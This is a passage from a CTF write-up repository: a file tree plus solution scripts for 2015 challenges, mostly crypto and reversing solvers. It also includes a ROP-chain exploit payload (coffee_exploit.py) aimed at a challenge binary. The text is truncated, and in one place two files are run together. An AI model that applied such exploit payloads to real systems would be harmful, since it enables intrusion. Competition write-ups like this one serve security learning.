├── 2015 ├── AIVD_CYBERCHALLENGE │ ├── BONUS.md │ ├── README.md │ ├── cert.png │ ├── challenge │ │ ├── bonus.tar.gz │ │ ├── challenge_2015.zip │ │ └── gefelicteerd.pdf │ ├── eq1.png │ ├── eq2.png │ ├── eq3.png │ ├── eq4.png │ ├── gefeli.png │ ├── gefelicteerd-000.jpg │ ├── packet.png │ └── solution │ │ ├── breakme_crack.py │ │ ├── check_crack.py │ │ ├── coffee_exploit.py │ │ ├── gefeli_decrypt.py │ │ └── ripe_crack.py ├── ASISCTF │ ├── README.md │ ├── crypto │ │ └── simplealgorithm │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ ├── enc.txt │ │ │ └── simple_algorithm.py │ │ │ ├── eq1.png │ │ │ ├── eq2.png │ │ │ ├── eq3.png │ │ │ └── solution │ │ │ └── simple_crack.py │ └── reversing │ │ ├── dark │ │ ├── README.md │ │ ├── challenge │ │ │ ├── dark │ │ │ └── flag.enc │ │ └── solution │ │ │ ├── dark_descramble.py │ │ │ └── flag.dec │ │ ├── leach │ │ ├── README.md │ │ ├── challenge │ │ │ └── leach │ │ └── solution │ │ │ └── leach.dif │ │ ├── selfie │ │ ├── README.md │ │ ├── challenge │ │ │ ├── hidden_selfie │ │ │ └── selfie │ │ └── solution │ │ │ └── selfie_descramble.py │ │ └── tera │ │ ├── README.md │ │ ├── challenge │ │ └── tera │ │ └── solution │ │ └── tera_decoder.py ├── ASISCTF_FINALS │ ├── README.md │ ├── crypto │ │ └── bodu │ │ │ ├── README.md │ │ │ └── challenge │ │ │ ├── flag.enc │ │ │ └── pub.key │ └── reverse │ │ ├── asishash │ │ ├── README.md │ │ ├── challenge │ │ │ └── hash.elf │ │ └── solution │ │ │ └── hash_crack.py │ │ ├── fake │ │ ├── README.md │ │ └── challenge │ │ │ └── fake │ │ └── license │ │ ├── README.md │ │ ├── challenge │ │ └── license │ │ └── solution │ │ └── gen_license.py ├── BACKDOORCTF │ ├── README.md │ ├── crypto │ │ ├── rsalot │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ └── RSALOT.tar.gz │ │ │ └── solution │ │ │ │ └── rsalot.py │ │ └── rsanne │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── RSANNE.tar.gz │ │ │ └── solution │ │ │ └── rsanne.py │ ├── misc │ │ ├── lhc │ │ │ ├── README.md │ │ │ └── solution │ │ │ │ └── lhc.py │ │ └── tim │ │ │ └── README.md │ └── pwnable │ │ ├── echo │ │ ├── README.md │ │ ├── challenge │ │ │ └── echo │ │ └── solution │ │ │ └── echosploit.py │ │ ├── forgot │ │ ├── README.md │ │ ├── challenge │ │ │ └── forgot-724a09c084a9df46d8555bf77612e612.tar.gz │ │ └── solution │ │ │ └── forgotsploit.py │ │ └── team │ │ ├── README.md │ │ ├── challenge │ │ └── team │ │ └── solution │ │ └── teamsploit.py ├── BCTF │ ├── README.md │ └── crypto │ │ └── weak_enc │ │ ├── README.md │ │ ├── challenge │ │ └── weak_enc.py │ │ ├── lzw.gif │ │ └── solution │ │ └── weak_enc_crack.py ├── CODEGATE │ ├── README.md │ ├── pwnable │ │ └── systemshock │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── shock │ │ │ └── solution │ │ │ └── systemshock_exploit.sh │ └── web │ │ ├── owltube │ │ ├── README.md │ │ ├── cbc_decryption.png │ │ ├── challenge │ │ │ └── index.py │ │ └── solution │ │ │ └── owltube_exploit.py │ │ └── owlur │ │ └── README.md ├── CONFIDENCE_TEASER │ ├── README.md │ ├── crypto │ │ └── machacking │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── index.php │ │ │ ├── hmac.png │ │ │ ├── lengthextension.jpg │ │ │ └── solution │ │ │ └── machack_crack.py │ └── web │ │ ├── apacheunderwear │ │ └── README.md │ │ └── practicalnumerology │ │ ├── README.md │ │ ├── challenge │ │ └── index.php │ │ └── solution │ │ └── practicalnum_sploit.py ├── CSAWCTF │ ├── README.md │ ├── pwn │ │ └── contacts │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── contacts │ │ │ └── solution │ │ │ └── contacts_exploit.py │ ├── reversing │ │ └── ftp │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── ftp │ │ │ └── solution │ │ │ └── ftp_crack.py │ └── web │ │ ├── lawncaresimulator │ │ ├── README.md │ │ ├── challenge │ │ │ ├── ___HINT___ │ │ │ ├── index.html │ │ │ ├── jobs.html │ │ │ ├── js │ │ │ │ ├── grass.js │ │ │ │ └── md5.js │ │ │ ├── premium.php │ │ │ ├── sign_up.php │ │ │ └── validate_pass.php │ │ ├── lawn.png │ │ └── solution │ │ │ └── timing_attack.py │ │ ├── throwback │ │ └── README.md │ │ └── weebdate │ │ ├── README.md │ │ ├── challenge │ │ ├── server.py │ │ ├── settings.py │ │ └── utils.py │ │ └── solution │ │ ├── final.py │ │ ├── john.txt │ │ ├── otp.py │ │ └── sqli.py ├── DCTF │ └── README.md ├── DEFCONCTF │ ├── README.md │ ├── babysfirst │ │ └── r0pbaby │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── r0pbaby │ │ │ └── solution │ │ │ └── r0pbaby_sploit.py │ ├── coding │ │ └── catwestern │ │ │ ├── README.md │ │ │ └── solution │ │ │ └── catwestern_solution.py │ └── reversing │ │ └── accesscontrol │ │ ├── README.md │ │ ├── challenge │ │ └── client │ │ └── solution │ │ └── accesscontrol_crack.py ├── HITB_TEASER │ ├── README.md │ ├── crypto │ │ └── slowcooker │ │ │ ├── README.md │ │ │ └── challenge │ │ │ └── slowcooker.tar.gz │ ├── forensics │ │ └── pyongyang │ │ │ ├── README.md │ │ │ └── solution │ │ │ └── pyongyang_keysearch.c │ ├── pwnable │ │ └── candypop │ │ │ ├── README.md │ │ │ └── challenge │ │ │ └── candypop │ └── web │ │ ├── pearldiving │ │ └── README.md │ │ └── satcom │ │ ├── README.md │ │ └── challenge │ │ └── frontend.tar.gz ├── HUSTCTF │ └── README.md ├── MMACTF │ ├── README.md │ ├── crypto │ │ └── signerverifier │ │ │ ├── README.md │ │ │ ├── eq1.png │ │ │ ├── eq2.png │ │ │ └── solution │ │ │ └── forge.py │ └── reversing │ │ └── simple_hash │ │ ├── README.md │ │ ├── challenge │ │ └── simple_hash │ │ └── solution │ │ └── simple_hash_crack.py ├── NUITDUHACK │ ├── README.md │ ├── crypto │ │ └── gameoflife │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── GOL.tar.gz │ │ │ └── solution │ │ │ └── gameoflifesolution.py │ └── reverse │ │ ├── clarkkent │ │ ├── README.md │ │ ├── challenge │ │ │ └── clark.tar.gz │ │ └── solution │ │ │ └── clarksolution.c │ │ └── crackmeprime │ │ ├── README.md │ │ ├── challenge │ │ └── prime.tar.gz │ │ └── solution │ │ └── crackmeprimesolution.py ├── PCTF │ ├── README.md │ ├── crypto │ │ ├── curious │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ └── captured │ │ │ └── solution │ │ │ │ └── curious_crack.py │ │ └── strength │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── captured │ │ │ └── solution │ │ │ └── strength_crack.py │ ├── pwnable │ │ └── ebp │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── ebp.elf │ │ │ └── solution │ │ │ └── ebp_sploit.py │ └── reversing │ │ └── clifford │ │ ├── README.md │ │ ├── challenge │ │ └── clifford.elf │ │ └── solution │ │ └── clifford_keygen.py ├── POLICTF │ ├── README.md │ └── reversing │ │ ├── johnthepacker │ │ ├── README.md │ │ ├── challenge │ │ │ └── topack │ │ ├── check1.png │ │ ├── check2.png │ │ ├── poly.png │ │ └── solution │ │ │ ├── john_keygen.py │ │ │ └── john_patch.py │ │ └── reversemeplz │ │ ├── README.md │ │ ├── challenge │ │ └── challenge │ │ ├── relation.png │ │ └── solution │ │ └── reversemeplz_keygen.py ├── README.md ├── TMCTF │ ├── README.md │ ├── analysis_defensive │ │ ├── analysis_defensive200 │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ └── AnalyzeThis.zip │ │ │ └── site.png │ │ └── analysis_defensive300 │ │ │ ├── PI-extracted-file-1-screenshot.bmp │ │ │ ├── README.md │ │ │ └── challenge │ │ │ └── net.zip │ └── crypto │ │ ├── crypto100 │ │ ├── README.md │ │ ├── challenge │ │ │ └── PublicKey.pem │ │ ├── factors.png │ │ └── solution │ │ │ └── crypto100_crack.py │ │ └── crypto200 │ │ ├── Q.png │ │ ├── README.md │ │ ├── cbc_mode.png │ │ ├── challenge │ │ └── Q.zip │ │ └── solution │ │ └── crypto200_crack.py ├── VOLGACTF │ ├── README.md │ ├── crypto │ │ ├── lcg │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ ├── flag.png.bin │ │ │ │ └── lcg.py │ │ │ ├── solution │ │ │ │ ├── flag.png │ │ │ │ └── lcg_crack.py │ │ │ ├── system1.png │ │ │ ├── system2.png │ │ │ ├── system3.png │ │ │ ├── system4.png │ │ │ └── system5.png │ │ └── rsa │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ ├── ciphertext.bin │ │ │ ├── decryptor.py │ │ │ └── key.public │ │ │ └── solution │ │ │ └── rsa_crack.py │ ├── forensics │ │ └── russiandoll │ │ │ ├── README.md │ │ │ ├── recovery1.png │ │ │ ├── recovery2.png │ │ │ ├── recovery3.png │ │ │ └── recovery4.png │ ├── misc │ │ └── mathproblem │ │ │ └── solution │ │ │ └── mathsolve.py │ ├── pwn │ │ └── database │ │ │ ├── README.md │ │ │ └── challenge │ │ │ └── database │ ├── reversing │ │ └── interstellar │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── interstellar │ │ │ ├── eq.png │ │ │ ├── eq2.png │ │ │ ├── eq3.png │ │ │ └── solution │ │ │ └── interstellar_crack.py │ └── web │ │ └── web2 │ │ └── README.md └── WHITEHAT_CONTEST_10 │ ├── README.md │ └── reversing │ └── re200 │ └── README.md ├── 2016 ├── BCTF │ ├── README.md │ ├── misc │ │ └── zerodaystore │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ ├── server.py │ │ │ └── zerodaystore.apk │ │ │ └── solution │ │ │ └── zerodaystore_crack.py │ └── reversing │ │ └── sif │ │ ├── README.md │ │ ├── challenge │ │ ├── flag.png │ │ └── sif │ │ └── solution │ │ ├── plaintext_flag.png │ │ └── sif_crack.py ├── BKPCTF │ ├── README.md │ ├── crypto │ │ ├── desofb │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ ├── ciphertext │ │ │ │ └── des-ofb.py │ │ │ ├── ofb.png │ │ │ └── solution │ │ │ │ ├── ciphertext │ │ │ │ └── desofb_crack.py │ │ └── ltseorg │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ ├── ltseorg.rb │ │ │ └── tlseorg.py │ │ │ └── solution │ │ │ └── ltseorg_crack.py │ └── reversing │ │ └── unholy │ │ ├── README.md │ │ ├── challenge │ │ ├── main.rb │ │ └── unholy.so │ │ └── solution │ │ └── unholy_crack.py ├── CODEGATE │ ├── README.md │ ├── misc │ │ └── jsisnotajail │ │ │ └── README.md │ └── pwnable │ │ └── oldschool │ │ ├── README.md │ │ ├── challenge │ │ ├── ld-2.21.so │ │ ├── libc-2.21.so │ │ └── oldschool │ │ └── solution │ │ └── oldschool_sploit.py ├── DEFCONCTF │ ├── README.md │ ├── babysfirst │ │ ├── baby-re │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ └── baby-re │ │ │ └── solution │ │ │ │ └── babyre_crack.py │ │ └── xkcd │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── xkcd │ │ │ └── solution │ │ │ └── xkcd_sploit.py │ └── reversing │ │ └── step │ │ ├── README.md │ │ ├── challenge │ │ └── step │ │ └── solution │ │ ├── crack_sol.py │ │ └── crack_step.py ├── PCTF │ ├── README.md │ ├── crypto │ │ ├── rabit │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ ├── rabit.py │ │ │ │ └── util.py │ │ │ ├── eq1.png │ │ │ └── solution │ │ │ │ └── rabit_crack.py │ │ └── tonnerre │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── server.py │ │ │ ├── eq1.png │ │ │ ├── eq2.png │ │ │ ├── eq3.png │ │ │ ├── eq4.png │ │ │ └── solution │ │ │ └── tonnerre_crack.py │ └── pwnable │ │ └── butterfly │ │ ├── README.md │ │ ├── challenge │ │ └── butterfly │ │ └── solution │ │ └── butterfly_sploit.py ├── SECUINSIDE │ ├── README.md │ └── trendyweb │ │ ├── README.md │ │ ├── avatar.png │ │ └── index.php ├── SHARIFCTF │ ├── README.md │ └── forensics │ │ └── kick_tort_teen │ │ ├── README.md │ │ ├── challenge │ │ └── data.xls │ │ └── solution │ │ ├── data.csv │ │ ├── fileXYZ.data │ │ ├── macro_warning.png │ │ └── solve.py ├── TUCTF │ ├── README.md │ ├── crypto │ │ ├── hashnbake │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ │ └── hbake.py │ │ │ ├── crc1.png │ │ │ ├── crc2.png │ │ │ └── crc3.png │ │ └── securetransmission │ │ │ ├── README.md │ │ │ └── challenge │ │ │ ├── 40bec2fdb682af3046465a54f7776c8adb26ea4d.pcapng │ │ │ └── client.pyc │ ├── pwn │ │ └── especiallygoodjmps │ │ │ ├── README.md │ │ │ ├── challenge │ │ │ └── 23e4f31a5a8801a554e1066e26eb34745786f4c4 │ │ │ └── solution │ │ │ └── exploit.py │ └── web │ │ ├── DuckPrint │ │ ├── README.md │ │ └── challenge │ │ │ ├── flag.html │ │ │ ├── generate.php.html │ │ │ ├── register.php.html │ │ │ └── validate.php.html │ │ ├── LuckyCharms │ │ ├── README.md │ │ ├── challenge │ │ │ ├── LuckyCharms.html │ │ │ └── LuckyCharms.java │ │ └── solution │ │ │ └── Hax.java │ │ └── PetPaddingInc │ │ ├── README.md │ │ └── solution │ │ └── exploit.py └── VOLGACTF │ ├── README.md │ └── crypto │ └── lazy │ ├── README.md │ ├── challenge │ ├── exit.sig │ ├── key.public │ ├── leave.sig │ └── server.py │ ├── eq1.png │ ├── eq2.png │ ├── eq3.png │ └── solution │ └── lazy_crack.py ├── 2017 └── KASPERSKY │ ├── README.md │ └── fun │ └── old-school │ ├── README.md │ ├── challenge │ └── old_school.bin │ ├── game.png │ ├── screenshot.png │ └── solution │ ├── level-2.png │ ├── level-3.png │ ├── level-4.png │ ├── level-5.png │ ├── level-6.png │ ├── level-7.png │ └── level-8.png ├── .gitignore ├── README.md ├── event_template.md └── write-up_template.md /.gitignore: -------------------------------------------------------------------------------- 1 | 2015/HITB_TEASER/forensics/pyongyang/challenge/HEAVENWEB_SCRAPE.tar.xz 2 | -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/cert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/cert.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/challenge/bonus.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/challenge/bonus.tar.gz -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/challenge/challenge_2015.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/challenge/challenge_2015.zip -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/challenge/gefelicteerd.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/challenge/gefelicteerd.pdf -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/eq1.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/eq2.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/eq3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/eq3.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/eq4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/eq4.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/gefeli.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/gefeli.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/gefelicteerd-000.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/gefelicteerd-000.jpg -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/packet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/AIVD_CYBERCHALLENGE/packet.png -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/solution/breakme_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # AIVD Cyber Challenge 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from z3 import * 10 | 11 | def string_check(a1, a2): 12 | byte_602060 = "\x24\x5E\x77\x0B\x24\x11\x5A\x4F\x3E\x72\x41\x28\x43\x4C\x7C\x14" 13 | 14 | if(a2 != 16): 15 | return 0 16 | 17 | for i in xrange(0, 16): 18 | # modular indexes starting at different offsets within string 19 | index1 = (i + 3) % 16 20 | index2 = i % 16 21 | index3 = (i + 5) % 16 22 | index4 = (i + 11) % 16 23 | index5 = (i + 12) % 16 24 | 25 | v6 = chr(ord(a1[index1]) ^ ord(a1[index2]) ^ ord(a1[index3]) ^ ord(a1[index4]) ^ ord(a1[index5])) 26 | 27 | if(byte_602060[i] != v6): 28 | return 0 29 | 30 | return 1 31 | 32 | # Convert string_check to system of linear equations and use Z3 to solve it 33 | def solve_check(): 34 | byte_602060 = "\x24\x5E\x77\x0B\x24\x11\x5A\x4F\x3E\x72\x41\x28\x43\x4C\x7C\x14" 35 | 36 | l = [] 37 | for i in xrange(0, 16): 38 | # Add unknown 39 | l.append(BitVec(i, 8)) 40 | 41 | s = Solver() 42 | for i in xrange(0, 16): 43 | index1 = (i + 3) % 16 44 | index2 = i % 16 45 | index3 = (i + 5) % 16 46 | index4 = (i + 11) % 16 47 | index5 = (i + 12) % 16 48 | 49 | # add equation as satisfiability constraint 50 | s.add(l[index1] ^ l[index2] ^ l[index3] ^ l[index4] ^ l[index5] == ord(byte_602060[i])) 51 | 52 | # Check if problem is satisfiable before trying to solve it 53 | if(s.check() == sat): 54 | # Now solve it 55 | sol_model = s.model() 56 | # Convert solution to string 57 | sol = "" 58 | for i in xrange(0, 16): 59 | sol += chr(sol_model[l[i]].as_long()) 60 | return sol 61 | else: 62 | return False 63 | 64 | def main_routine(arg): 65 | v3 = len(arg) #v3 = pre_decode(arg) 66 | 67 | if(string_check(arg, v3)): 68 | print "[+]Arg: [%s] is correct! :)" % arg 69 | else: 70 | print "[-]Arg: [%s] is incorrect :(" % arg 71 | 72 | return 73 | 74 | arg = solve_check() 75 | if(arg != False): 76 | main_routine(arg) 77 | else: 78 | print "[-]No SAT solution to system of linear equations :(" -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/solution/check_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # AIVD Cyber Challenge 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | import struct 9 | 10 | max_intval = 4294967296 11 | 12 | def reverse_fa( y ): 13 | solutionsx = [] 14 | for i in xrange(0,2): 15 | candidate = (((max_intval * i) + y ) - 3141592653 ) / 1 16 | if candidate > 0 and (candidate % 4) == 0: 17 | solutionsx.append(candidate) 18 | 19 | return solutionsx 20 | 21 | def reverse_fb( y ): 22 | solutionsx = [] 23 | for i in xrange(0,4): 24 | candidate = (((max_intval * i) + y ) - 1732050808 ) 25 | if candidate % 3 != 0: 26 | continue 27 | 28 | candidate /= 3 29 | 30 | if candidate > 0 and (candidate % 4) == 1: 31 | solutionsx.append(candidate) 32 | 33 | return solutionsx 34 | 35 | def reverse_fc( y ): 36 | solutionsx = [] 37 | for i in xrange(0,6): 38 | candidate = (((max_intval * i) + y ) - 2236067977 ) 39 | if candidate % 5 != 0: 40 | continue 41 | 42 | candidate /= 5 43 | 44 | if candidate > 0 and (candidate % 4) == 2: 45 | solutionsx.append(candidate) 46 | 47 | return solutionsx 48 | 49 | def reverse_fd( y ): 50 | solutionsx = [] 51 | for i in xrange(0,8): 52 | candidate = (((max_intval * i) + y ) - 2645751311 ) 53 | if candidate % 7 != 0: 54 | continue 55 | 56 | candidate /= 7 57 | 58 | if candidate > 0 and (candidate % 4) == 3: 59 | solutionsx.append(candidate) 60 | 61 | return solutionsx 62 | 63 | prev_solutions = [] 64 | 65 | def solve(): 66 | global prev_solutions 67 | curr_solutions = [] 68 | 69 | for solution in prev_solutions: 70 | for func in [reverse_fa, reverse_fb, reverse_fc, reverse_fd]: 71 | for next_solution in func(solution): 72 | if next_solution not in curr_solutions: 73 | curr_solutions.append(next_solution) 74 | 75 | prev_solutions[:] = curr_solutions 76 | 77 | final_password = "" 78 | for begin_solution in [2066590424, 4241186467, 2486763883, 2743090029]: 79 | 80 | prev_solutions = [begin_solution] 81 | print "[*] H4x1ng th3 g1bs0n: '%s'" % begin_solution 82 | for i in range(1, 10000001): 83 | if i % 1000000 == 0: 84 | print "%d / 10 000 000 (%d %%)" % (i, (i/100000)) 85 | 86 | solve() # we just need to call solve() 10 000 000 times 87 | 88 | for final_solution in prev_solutions: 89 | if final_solution > max_intval: 90 | break 91 | final_candidate = struct.pack(">I", final_solution) 92 | if final_candidate.isalnum(): 93 | print "[*]ayy lmao found block: %s " % final_candidate 94 | final_password += final_candidate 95 | print "[*]Password so far: '%s'" % final_password 96 | 97 | print "[+]PASSWORD [ %s ] " % final_password -------------------------------------------------------------------------------- /2015/AIVD_CYBERCHALLENGE/solution/coffee_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # AIVD Cyber Challenge 2015 (BONUS) 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from struct import pack 10 | 11 | stage_0 = "3" 12 | 13 | sploit = "5 " + "A"*26 14 | 15 | # ROP chain (as extracted from attacker traffic PCAP) 16 | rop_chain = [0x80b4e10, 0x810503c, 0x816d900, 0x8119340, 0x80c5050, 0x810503c, 0x816d8c7, 0x0000, 0x80c51b0, 0x810503b, 0x0003, 0x816d908, 0x0017, 0x8049390, 0x810503c, 0x816d900, 0x0007, 0x8049390, 0x810503c, 0x816d900, 0x0009, 0x8049390, 0x810503c, 0x816d900, 0x000b, 0x8049390, 0x810503c, 0x816d900, 0x000d, 0x8049390, 0x810503c, 0x816d900, 0x000f, 0x8049390, 0x810503c, 0x816d900, 0x0011, 0x8049390, 0x810503c, 0x816d900, 0x0013, 0x8049390, 0x810503c, 0x816d900, 0x0015, 0x8049390, 0x810503c, 0x816d900, 0x0017, 0x8049390, 0x810503c, 0x816d900, 0x0019, 0x8049390, 0x810503c, 0x816d900, 0x001b, 0x8049390, 0x810503c, 0x816d900, 0x001d, 0x8049390, 0x810503c, 0x816d900, 0x001f, 0x8097300] 17 | 18 | for gadget in rop_chain: 19 | sploit += pack(' 0: 12 | if n % 2 != 0: 13 | z.append(2 - (n % 4)) 14 | else: 15 | z.append(0) 16 | n = (n - z[i])/2 17 | i = i + 1 18 | z = z[::-1] 19 | l = len(z) 20 | for i in range(0, l): 21 | s += z[i] * m ** (l - 1 - i) 22 | return s 23 | 24 | i = 0 25 | r = '' 26 | while i < len(str(iflag)): 27 | d = str(iflag)[i:i+2] 28 | nf = FAN(int(d), 3) 29 | r += str(nf) 30 | i += 2 31 | 32 | print r -------------------------------------------------------------------------------- /2015/ASISCTF/crypto/simplealgorithm/eq1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/crypto/simplealgorithm/eq1.png -------------------------------------------------------------------------------- /2015/ASISCTF/crypto/simplealgorithm/eq2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/crypto/simplealgorithm/eq2.png -------------------------------------------------------------------------------- /2015/ASISCTF/crypto/simplealgorithm/eq3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/crypto/simplealgorithm/eq3.png -------------------------------------------------------------------------------- /2015/ASISCTF/crypto/simplealgorithm/solution/simple_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # ASIS CTF Quals 2015 4 | # simple algorithm (CRYPTO/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | # FAN encoding routine 11 | def FAN(n, m): 12 | i = 0 13 | z = [] 14 | s = 0 15 | while n > 0: 16 | if n % 2 != 0: 17 | z.append(2 - (n % 4)) 18 | else: 19 | z.append(0) 20 | n = (n - z[i])/2 21 | i = i + 1 22 | z = z[::-1] 23 | l = len(z) 24 | for i in range(0, l): 25 | s += z[i] * m ** (l - 1 - i) 26 | return s 27 | 28 | # Inverse of FAN encoding routine 29 | def DEFAN(s, m): 30 | z = [] 31 | while(s != 0): 32 | zi = s % m 33 | if(zi == 2): 34 | zi = -1 35 | 36 | z.append(zi) 37 | s -= zi 38 | s /= m 39 | z = z[::-1] 40 | for i in xrange(len(z)): 41 | if(i == 0): 42 | n = z[i] 43 | else: 44 | n = 2*n + z[i] 45 | return n 46 | 47 | # Decrypt re-segmented ciphertext 48 | def decrypt(r, m): 49 | q = '' 50 | for i in xrange(0, len(r)): 51 | d = str(DEFAN(long(r[i]), m)) 52 | if((len(d) < 2) and (i != (len(r)-1))): 53 | d = '0'+d 54 | q += d 55 | return hex(long(q))[2:-1].decode('hex') 56 | 57 | # All possible values for FAN encoding routine 58 | def getR(m): 59 | R = [] 60 | for i in xrange(0, 100): 61 | d = str(i) 62 | if(len(d) < 2): 63 | d = '0'+d 64 | 65 | q = FAN(int(d), m) 66 | R.append(q) 67 | return R 68 | 69 | # Re-segment encoded string based on greedy approach 70 | def segment(e, m): 71 | R = getR(m) 72 | offset = 0 73 | s = [] 74 | while(offset < len(e)): 75 | for i in xrange(4, 0, -1): 76 | chunk = e[offset: offset+i] 77 | if(long(chunk) in R): 78 | s.append(chunk) 79 | offset += i 80 | break 81 | return s 82 | 83 | m = 3 84 | eflag = open("enc.txt", "rb").read() 85 | 86 | print "[+]Got flag: [%s]" % decrypt(segment(eflag, m), m) -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/dark/challenge/dark: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/dark/challenge/dark -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/dark/challenge/flag.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/ASISCTF/reversing/dark/challenge/flag.enc -------------------------------------------------------------------------------- /2015/ASISCTF/reversing/dark/solution/dark_descramble.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # ASIS CTF Quals 2015 4 | # dark (REVERSING/125) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | def swap_byte(b): 11 | s = '%02x' % b 12 | return int(s[1]+s[0], 16) 13 | 14 | def descramble(ciphertext): 15 | read_count = 30215 16 | write_count = 30215 17 | block_size = 16 18 | reg08 = 2**8 # 8-bit registers 19 | reg32 = 2**32 # 32-bit registers 20 | 21 | ptr = list(ciphertext) 22 | plaintext = [0x00]*len(ptr) 23 | 24 | for i in xrange(len(ptr)): 25 | ptr[i] = ord(ptr[i]) 26 | 27 | for i in xrange(0, write_count / block_size): 28 | for j in xrange(block_size): 29 | src_offset = (block_size * (i + 1) - j - 1) % reg32 30 | 